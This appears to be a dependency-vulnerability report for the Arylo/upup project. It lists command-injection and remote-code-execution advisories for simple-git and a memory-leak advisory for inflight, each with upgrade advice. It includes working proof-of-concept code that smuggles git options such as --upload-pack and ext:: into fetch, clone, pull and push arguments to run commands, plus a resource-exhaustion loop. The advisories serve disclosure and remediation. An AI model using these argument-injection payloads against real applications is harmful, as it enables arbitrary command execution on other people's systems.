Arylo/upup
Find, fix and prevent vulnerabilities in your code.
high severity
- Vulnerable module: simple-git
- Introduced through: simple-git@1.132.0
Detailed paths
-
Introduced through: upup@Arylo/upup#7a1306eebf8492d83c3c1e4de0e305f2c5d54a6b › simple-git@1.132.0Remediation: Upgrade to simple-git@3.3.0.
Overview
simple-git is a light weight interface for running git commands in any node.js application.
Affected versions of this package are vulnerable to Command Injection via argument injection. When calling the .fetch(remote, branch, handlerFn)
function, both the remote
and branch
parameters are passed to the git fetch
subcommand. By injecting some git options it was possible to get arbitrary command execution.
PoC
// npm i simple-git
const simpleGit = require('simple-git');
const git = simpleGit();
let callback = () => {};
git.init(); // or git init
let origin1 = 'origin';
let ref1 = "--upload-pack=touch ./HELLO1;";
git.fetch(origin1, ref1, callback); // git [ 'fetch', 'origin', '--upload-pack=touch ./HELLO1;' ]
let origin2 = "--upload-pack=touch ./HELLO2;";
let ref2 = "foo";
git.fetch(origin2, ref2, callback); // git [ 'fetch', '--upload-pack=touch ./HELLO2;', 'foo' ]
let origin3 = 'origin';
let ref3 = "--upload-pack=touch ./HELLO3;";
git.fetch(origin3, ref3, { '--depth': '2' }, callback); // git [ 'fetch', '--depth=2', 'origin', '--upload-pack=touch ./HELLO3;' ]
// ls -la
Remediation
Upgrade simple-git
to version 3.3.0 or higher.
References
high severity
- Vulnerable module: simple-git
- Introduced through: simple-git@1.132.0
Detailed paths
-
Introduced through: upup@Arylo/upup#7a1306eebf8492d83c3c1e4de0e305f2c5d54a6b › simple-git@1.132.0Remediation: Upgrade to simple-git@3.5.0.
Overview
simple-git is a light weight interface for running git commands in any node.js application.
Affected versions of this package are vulnerable to Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') due to an incomplete fix of CVE-2022-24433 which only patches against the git fetch
attack vector.
A similar use of the --upload-pack
feature of git is also supported for git clone, which the prior fix didn't cover.
PoC
const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('file:///tmp/zero123', '/tmp/example-new-repo', ['--upload-pack=touch /tmp/pwn']);
Remediation
Upgrade simple-git
to version 3.5.0 or higher.
References
high severity
- Vulnerable module: simple-git
- Introduced through: simple-git@1.132.0
Detailed paths
-
Introduced through: upup@Arylo/upup#7a1306eebf8492d83c3c1e4de0e305f2c5d54a6b › simple-git@1.132.0Remediation: Upgrade to simple-git@3.15.0.
Overview
simple-git is a light weight interface for running git commands in any node.js application.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) when enabling the ext
transport protocol, which makes it exploitable via clone()
method.
This vulnerability exists due to an incomplete fix of CVE-2022-24066.
PoC
const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('ext::sh -c touch% /tmp/pwn% >&2', '/tmp/example-new-repo', ["-c", "protocol.ext.allow=always"]);
Remediation
Upgrade simple-git
to version 3.15.0 or higher.
References
high severity
- Vulnerable module: simple-git
- Introduced through: simple-git@1.132.0
Detailed paths
-
Introduced through: upup@Arylo/upup#7a1306eebf8492d83c3c1e4de0e305f2c5d54a6b › simple-git@1.132.0Remediation: Upgrade to simple-git@3.16.0.
Overview
simple-git is a light weight interface for running git commands in any node.js application.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the clone()
, pull()
, push()
and listRemote()
methods, due to improper input sanitization.
This vulnerability exists due to an incomplete fix of CVE-2022-25912.
PoC
const simpleGit = require('simple-git');
let git = simpleGit();
git.clone('-u touch /tmp/pwn', 'file:///tmp/zero12');
git.pull('--upload-pack=touch /tmp/pwn0', 'master');
git.push('--receive-pack=touch /tmp/pwn1', 'master');
git.listRemote(['--upload-pack=touch /tmp/pwn2', 'main']);
Remediation
Upgrade simple-git
to version 3.16.0 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: glob@7.2.3
Detailed paths
-
Introduced through: upup@Arylo/upup#7a1306eebf8492d83c3c1e4de0e305f2c5d54a6b › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres
function due to improperly deleting keys from the reqs
object after execution of callbacks. This behavior causes the keys to remain in the reqs
object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node
process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight
.